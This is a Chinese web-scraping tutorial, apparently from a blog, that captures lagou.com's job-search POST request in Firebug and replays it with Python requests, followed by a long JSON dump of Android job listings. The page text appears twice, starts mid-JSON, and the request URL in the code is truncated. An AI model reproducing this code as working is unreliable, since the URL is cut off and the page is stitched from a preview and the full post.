Wei)","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462720376000,"positonTypesMap":null,"hrScore":71,"flowScore":137,"showCount":3786,"pvScore":87.51582865460942,"plus":"是","businessZones":["文三路","古荡","高新文教区"],"publisherId":2946659,"loginTime":1462891920000,"appShow":940,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"2天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:38:43","companyId":19875,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"维沃移动通信有限公司","city":"南京","salary":"12k-24k","financeStage":"初创型(未融资)","positionId":938099,"companyLogo":"image1/M00/00/25/Cgo8PFTUWH-Ab57wAABKOdLbNuw116.png","positionFirstType":"技术","companyName":"vivo","positionAdvantage":"vivo,追求极致","industryField":"移动互联网","score":1320,"district":"建邺区","companyLabelList":["年终分红","五险一金","带薪年假","年度旅游"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462844323000,"positonTypesMap":null,"hrScore":57,"flowScore":149,"showCount":981,"pvScore":72.14107985481958,"plus":"是","businessZones":["沙洲","小行","赛虹桥"],"publisherId":302876,"loginTime":1462871424000,"appShow":353,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"09:38发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:49:59","companyId":20473,"positionName":"安卓开发工程师","positionType":"移动开发","workYear":"3-5年","education":"大专","jobNature":"全职","companyShortName":"广州棒谷网络科技有限公司","city":"广州","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1733545,"companyLogo":"image1/M00/0F/36/Cgo8PFT9AgGAciySAAA1THfEIAE433.jpg","positionFirstType":"技术","companyName":"广州棒谷网络科技有限公司","positionAdvantage":"五险一金 大平台 带薪休假","industryField":"电子商务","score":1320,"district":null,"companyLabelList":["项目奖金","绩效奖金","年终奖","五险一金"],"deliverCount":15,"leaderName":"大邹","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462844999000,"positonTypesMap":null,"hrScore":79,"flowScore":144,"showCount":3943,"pvScore":77.78928844199473,"plus":"是","businessZones":null,"publisherId":235413,"loginTime":1462878251000,"appShow":1562,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"09:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-04 11:41:59","companyId":87117,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京信通科技有限责任公司","city":"南京","salary":"10k-12k","financeStage":"成长型(不需要融资)","positionId":966059,"companyLogo":"image1/M00/3F/51/CgYXBlXASfuADyOsAAA_na14zho635.jpg?cc=0.6724986131303012","positionFirstType":"技术","companyName":"联创集团信通科技","positionAdvantage":"提供完善的福利和薪酬晋升制度","industryField":"移动互联网 · 教育","score":1320,"district":"鼓楼区","companyLabelList":["节日礼物","带薪年假","补充医保","补充子女医保"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462333319000,"positonTypesMap":null,"hrScore":88,"flowScore":143,"showCount":3161,"pvScore":79.41660570401937,"plus":"是","businessZones":["虎踞路","龙江","西桥"],"publisherId":2230973,"loginTime":1462871511000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":41,"adWord":0,"formatCreateTime":"2016-05-04","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:26:58","companyId":103051,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"浙江米果网络股份有限公司","city":"杭州","salary":"12k-22k","financeStage":"成长型(A轮)","positionId":1233873,"companyLogo":"image2/M00/10/DF/CgqLKVYwKQSAR2p4AAJAM590SJM137.png?cc=0.17502541467547417","positionFirstType":"技术","companyName":"米果小站","positionAdvantage":"充分的发展成长空间","industryField":"移动互联网","score":1320,"district":"滨江区","companyLabelList":["年底双薪","股票期权","午餐补助","五险一金"],"deliverCount":5,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462843618000,"positonTypesMap":null,"hrScore":72,"flowScore":137,"showCount":1582,"pvScore":87.93158026917071,"plus":"是","businessZones":["江南","长河","西兴"],"publisherId":2992735,"loginTime":1462889479000,"appShow":312,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"09:26发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 10:01:39","companyId":70044,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"武汉平行世界网络科技有限公司","city":"武汉","salary":"9k-13k","financeStage":"初创型(天使轮)","positionId":664813,"companyLogo":"image2/M00/00/3E/CgqLKVXdccSAQE91AACv-6V33Vo860.jpg","positionFirstType":"技术","companyName":"平行世界","positionAdvantage":"弹性工作、带薪年假、待遇优厚、3号线直达","industryField":"电子商务 · 文化娱乐","score":1320,"district":"蔡甸区","companyLabelList":["年底双薪","待遇优厚","专项奖金","带薪年假"],"deliverCount":18,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462845699000,"positonTypesMap":null,"hrScore":76,"flowScore":128,"showCount":1934,"pvScore":99.6001810598155,"plus":"是","businessZones":["沌口"],"publisherId":1694134,"loginTime":1462892151000,"appShow":759,"calcScore":false,"showOrder":1433141412915,"haveDeliver":false,"orderBy":68,"adWord":0,"formatCreateTime":"10:01发布","totalCount":0,"searchScore":0.0}]}}}












在XHR中点击JSON,就可以看到浏览器返回来的数据了。 是不是跟上面使用python程序抓取的一样呢?
 





 
是不是很简单?
 
如果想获得第2页,第3页的数据呢?
 
只需要修改pn=x 中的值就可以了。post_data = {'first':'true','kd':'Android','pn':'2'} #获取第2页的内容
如果想要获取全部内容,写一个循环语句就可以了。
 
版权所有,转载请说明出处:www.30daydo.com
  查看全部
针对一些JS网页,动态网页在源码中无法看到它的内容,可以通过抓包分析出其JSON格式的数据。 网页通过通过这些JSON数据对网页的内容进行填充,然后就看到网页里显示相关的内容了。
 
使用过chrome,firefox,wireshark来抓过包,比较方便的是chrome,不需要安装第三方的其它插件,不过打开新页面的时候又要重新开一个捕捉页面,会错过一些实时的数据。 
 
wireshark需要专门掌握它自己的过滤规则,学习成本摆在那里。 
 
最好用的还是firefox+firebug第三方插件。
 
接下来以拉勾网为例。
 
打开firebug功能
 
www.lagou.com 在左侧栏随便点击一个岗位,以android为例 
 

Android招聘-招聘求职信息-拉勾网.png

 
在firebug中,需要点击“网络”选项卡,然后选择XHR。
 

post.jpg

 
Post的信息就是我们需要关注的,点击post的链接
 

post_data.jpg

 
点击了Android之后 我们从浏览器上传了几个参数到拉勾的服务器
一个是 first =true, 一个是kd = android, (关键字) 一个是pn =1 (page number 页码)
 
所以我们就可以模仿这一个步骤来构造一个数据包来模拟用户的点击动作。
post_data = {'first':'true','kd':'Android','pn':'1'}

然后使用python中库中最简单的requests库来提交数据。 而这些数据 正是抓包里看到的数据。
import requests

url = "http://www.lagou.com/jobs/posi ... ot%3B
return_data=requests.post(url,data=post_data)
print return_data.text


呐,打印出来的数据就是返回来的json数据
{"code":0,"success":true,"requestId":null,"resubmitToken":null,"msg":null,"content":{"pageNo":1,"pageSize":15,"positionResult":{"totalCount":5000,"pageSize":15,"locationInfo":{"city":null,"district":null,"businessZone":null},"result":[{"createTime":"2016-05-05 17:27:50","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1455217,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术极客云集","industryField":"移动互联网 · 企业服务","score":1372,"district":"西城区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":13,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462440470000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":6627,"pvScore":73.2258060280967,"plus":"是","businessZones":["新街口","德胜门","小西天"],"publisherId":994817,"loginTime":1462876049000,"appShow":3141,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-05 18:30:16","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1440576,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术爆棚!","industryField":"移动互联网 · 企业服务","score":1372,"district":"海淀区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":6,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462444216000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":3214,"pvScore":73.37271526202157,"plus":"是","businessZones":["双榆树","中关村","大钟寺"],"publisherId":994817,"loginTime":1462876049000,"appShow":1782,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 18:41:29","companyId":94307,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"宁波海大物联科技有限公司","city":"宁波","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1070249,"companyLogo":"image2/M00/03/32/CgqLKVXtWiuAUbXgAAB1g_5FW3Y484.png?cc=0.6152940313331783","positionFirstType":"技术","companyName":"海大物联","positionAdvantage":"一流的技术团队,丰厚的薪资回报。","industryField":"移动互联网 · 企业服务","score":1353,"district":"鄞州区","companyLabelList":["节日礼物","年底双薪","带薪年假","年度旅游"],"deliverCount":0,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462876889000,"positonTypesMap":null,"hrScore":75,"flowScore":167,"showCount":1031,"pvScore":47.6349840620252,"plus":"是","businessZones":null,"publisherId":2494230,"loginTime":1462885305000,"appShow":184,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"18:41发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:43","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1387825,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业项目。优质福利待遇+期权","industryField":"移动互联网 · 医疗健康","score":1344,"district":"江干区","companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":5,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874263000,"positonTypesMap":null,"hrScore":74,"flowScore":153,"showCount":1312,"pvScore":66.87818057124453,"plus":"是","businessZones":["四季青","景芳"],"publisherId":3655492,"loginTime":1462873104000,"appShow":573,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:49:47","companyId":15071,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州短趣网络传媒技术有限公司","city":"杭州","salary":"10k-20k","financeStage":"成长型(A轮)","positionId":1803257,"companyLogo":"image2/M00/0B/80/CgpzWlYYse2AJgc0AABG9iSEWAE052.jpg","positionFirstType":"技术","companyName":"短趣网","positionAdvantage":"高额项目奖金,行业内有竞争力的薪资水平","industryField":"移动互联网 · 社交网络","score":1343,"district":null,"companyLabelList":["绩效奖金","年终分红","五险一金","通讯津贴"],"deliverCount":1,"leaderName":"王强宇","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":28,"imstate":"today","createTimeSort":1462859387000,"positonTypesMap":null,"hrScore":68,"flowScore":178,"showCount":652,"pvScore":32.82081357576065,"plus":"否","businessZones":null,"publisherId":4362468,"loginTime":1462870318000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"13:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:55:08","companyId":28422,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"成都品果科技有限公司","city":"北京","salary":"18k-30k","financeStage":"成长型(B轮)","positionId":290875,"companyLogo":"i/image/M00/02/F3/Cgp3O1ah7FuAbSnkAACMlcPiWXk393.png","positionFirstType":"技术","companyName":"camera360","positionAdvantage":"高大上的福利待遇、发展前景等着你哦!","industryField":"移动互联网","score":1339,"district":"海淀区","companyLabelList":["年终分红","绩效奖金","年底双薪","五险一金"],"deliverCount":6,"leaderName":"徐灏","companySize":"15-50人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462859708000,"positonTypesMap":null,"hrScore":80,"flowScore":188,"showCount":1199,"pvScore":19.745453118211834,"plus":"是","businessZones":["中关村","北京大学","苏州街"],"publisherId":389753,"loginTime":1462866640000,"appShow":0,"calcScore":false,"showOrder":1433137697136,"haveDeliver":false,"orderBy":71,"adWord":0,"formatCreateTime":"13:55发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:55","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"不限","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1410975,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业团队","industryField":"移动互联网 · 医疗健康","score":1335,"district":null,"companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":9,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874275000,"positonTypesMap":null,"hrScore":74,"flowScore":144,"showCount":2085,"pvScore":77.9570832081189,"plus":"是","businessZones":null,"publisherId":3655492,"loginTime":1462873104000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-09 09:46:32","companyId":113895,"positionName":"Android开发工程师","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"北京互动金服科技有限公司","city":"北京","salary":"15k-25k","financeStage":"成长型(不需要融资)","positionId":1473342,"companyLogo":"i/image/M00/03/D8/CgqKkVbEA_uAe1k4AAHTfy3RxPY812.jpg","positionFirstType":"技术","companyName":"互动科技","positionAdvantage":"五险一金 补充医疗 年终奖 福利津贴","industryField":"移动互联网 · O2O","score":1326,"district":"海淀区","companyLabelList":,"deliverCount":32,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462758392000,"positonTypesMap":null,"hrScore":82,"flowScore":153,"showCount":3741,"pvScore":67.01698353391613,"plus":"是","businessZones":["白石桥","魏公村","万寿寺","白石桥","魏公村","万寿寺"],"publisherId":3814477,"loginTime":1462874842000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"1天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 16:50:51","companyId":23999,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京智鹤电子科技有限公司","city":"长沙","salary":"8k-12k","financeStage":"成长型(A轮)","positionId":1804917,"companyLogo":"image1/M00/35/EB/CgYXBlWc5KGAVeL8AAAOi4lPhWU502.jpg","positionFirstType":"技术","companyName":"智鹤科技","positionAdvantage":"弹性工作制 技术氛围浓厚","industryField":"移动互联网","score":1322,"district":null,"companyLabelList":["股票期权","绩效奖金","专项奖金","年终分红"],"deliverCount":1,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462870251000,"positonTypesMap":null,"hrScore":62,"flowScore":191,"showCount":283,"pvScore":15.939035855045429,"plus":"否","businessZones":null,"publisherId":282621,"loginTime":1462869967000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"16:50发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-08 23:12:56","companyId":24287,"positionName":"android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州腾展科技有限公司","city":"杭州","salary":"15k-22k","financeStage":"成熟型(D轮及以上)","positionId":1197868,"companyLogo":"image1/M00/0B/7D/Cgo8PFTzIBOAEd2dAACMq9tQoMA797.png","positionFirstType":"技术","companyName":"腾展叮咚(Dingtone)","positionAdvantage":"每半年调整薪资,今年上市!","industryField":"移动互联网 · 社交网络","score":1322,"district":"西湖区","companyLabelList":["出国旅游","股票期权","精英团队","强悍的创始人"],"deliverCount":9,"leaderName":"魏松祥(Steve Wei)","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462720376000,"positonTypesMap":null,"hrScore":71,"flowScore":137,"showCount":3786,"pvScore":87.51582865460942,"plus":"是","businessZones":["文三路","古荡","高新文教区"],"publisherId":2946659,"loginTime":1462891920000,"appShow":940,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"2天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:38:43","companyId":19875,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"维沃移动通信有限公司","city":"南京","salary":"12k-24k","financeStage":"初创型(未融资)","positionId":938099,"companyLogo":"image1/M00/00/25/Cgo8PFTUWH-Ab57wAABKOdLbNuw116.png","positionFirstType":"技术","companyName":"vivo","positionAdvantage":"vivo,追求极致","industryField":"移动互联网","score":1320,"district":"建邺区","companyLabelList":["年终分红","五险一金","带薪年假","年度旅游"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462844323000,"positonTypesMap":null,"hrScore":57,"flowScore":149,"showCount":981,"pvScore":72.14107985481958,"plus":"是","businessZones":["沙洲","小行","赛虹桥"],"publisherId":302876,"loginTime":1462871424000,"appShow":353,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"09:38发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:49:59","companyId":20473,"positionName":"安卓开发工程师","positionType":"移动开发","workYear":"3-5年","education":"大专","jobNature":"全职","companyShortName":"广州棒谷网络科技有限公司","city":"广州","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1733545,"companyLogo":"image1/M00/0F/36/Cgo8PFT9AgGAciySAAA1THfEIAE433.jpg","positionFirstType":"技术","companyName":"广州棒谷网络科技有限公司","positionAdvantage":"五险一金 大平台 带薪休假","industryField":"电子商务","score":1320,"district":null,"companyLabelList":["项目奖金","绩效奖金","年终奖","五险一金"],"deliverCount":15,"leaderName":"大邹","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462844999000,"positonTypesMap":null,"hrScore":79,"flowScore":144,"showCount":3943,"pvScore":77.78928844199473,"plus":"是","businessZones":null,"publisherId":235413,"loginTime":1462878251000,"appShow":1562,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"09:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-04 11:41:59","companyId":87117,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京信通科技有限责任公司","city":"南京","salary":"10k-12k","financeStage":"成长型(不需要融资)","positionId":966059,"companyLogo":"image1/M00/3F/51/CgYXBlXASfuADyOsAAA_na14zho635.jpg?cc=0.6724986131303012","positionFirstType":"技术","companyName":"联创集团信通科技","positionAdvantage":"提供完善的福利和薪酬晋升制度","industryField":"移动互联网 · 教育","score":1320,"district":"鼓楼区","companyLabelList":["节日礼物","带薪年假","补充医保","补充子女医保"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462333319000,"positonTypesMap":null,"hrScore":88,"flowScore":143,"showCount":3161,"pvScore":79.41660570401937,"plus":"是","businessZones":["虎踞路","龙江","西桥"],"publisherId":2230973,"loginTime":1462871511000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":41,"adWord":0,"formatCreateTime":"2016-05-04","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:26:58","companyId":103051,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"浙江米果网络股份有限公司","city":"杭州","salary":"12k-22k","financeStage":"成长型(A轮)","positionId":1233873,"companyLogo":"image2/M00/10/DF/CgqLKVYwKQSAR2p4AAJAM590SJM137.png?cc=0.17502541467547417","positionFirstType":"技术","companyName":"米果小站","positionAdvantage":"充分的发展成长空间","industryField":"移动互联网","score":1320,"district":"滨江区","companyLabelList":["年底双薪","股票期权","午餐补助","五险一金"],"deliverCount":5,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462843618000,"positonTypesMap":null,"hrScore":72,"flowScore":137,"showCount":1582,"pvScore":87.93158026917071,"plus":"是","businessZones":["江南","长河","西兴"],"publisherId":2992735,"loginTime":1462889479000,"appShow":312,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"09:26发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 10:01:39","companyId":70044,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"武汉平行世界网络科技有限公司","city":"武汉","salary":"9k-13k","financeStage":"初创型(天使轮)","positionId":664813,"companyLogo":"image2/M00/00/3E/CgqLKVXdccSAQE91AACv-6V33Vo860.jpg","positionFirstType":"技术","companyName":"平行世界","positionAdvantage":"弹性工作、带薪年假、待遇优厚、3号线直达","industryField":"电子商务 · 文化娱乐","score":1320,"district":"蔡甸区","companyLabelList":["年底双薪","待遇优厚","专项奖金","带薪年假"],"deliverCount":18,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462845699000,"positonTypesMap":null,"hrScore":76,"flowScore":128,"showCount":1934,"pvScore":99.6001810598155,"plus":"是","businessZones":["沌口"],"publisherId":1694134,"loginTime":1462892151000,"appShow":759,"calcScore":false,"showOrder":1433141412915,"haveDeliver":false,"orderBy":68,"adWord":0,"formatCreateTime":"10:01发布","totalCount":0,"searchScore":0.0}]}}}












在XHR中点击JSON,就可以看到浏览器返回来的数据了。 是不是跟上面使用python程序抓取的一样呢?
 

dom_data.jpg

 
是不是很简单?
 
如果想获得第2页,第3页的数据呢?
 
只需要修改pn=x 中的值就可以了。
post_data = {'first':'true','kd':'Android','pn':'2'} #获取第2页的内容

如果想要获取全部内容,写一个循环语句就可以了。
 
版权所有,转载请说明出处:www.30daydo.com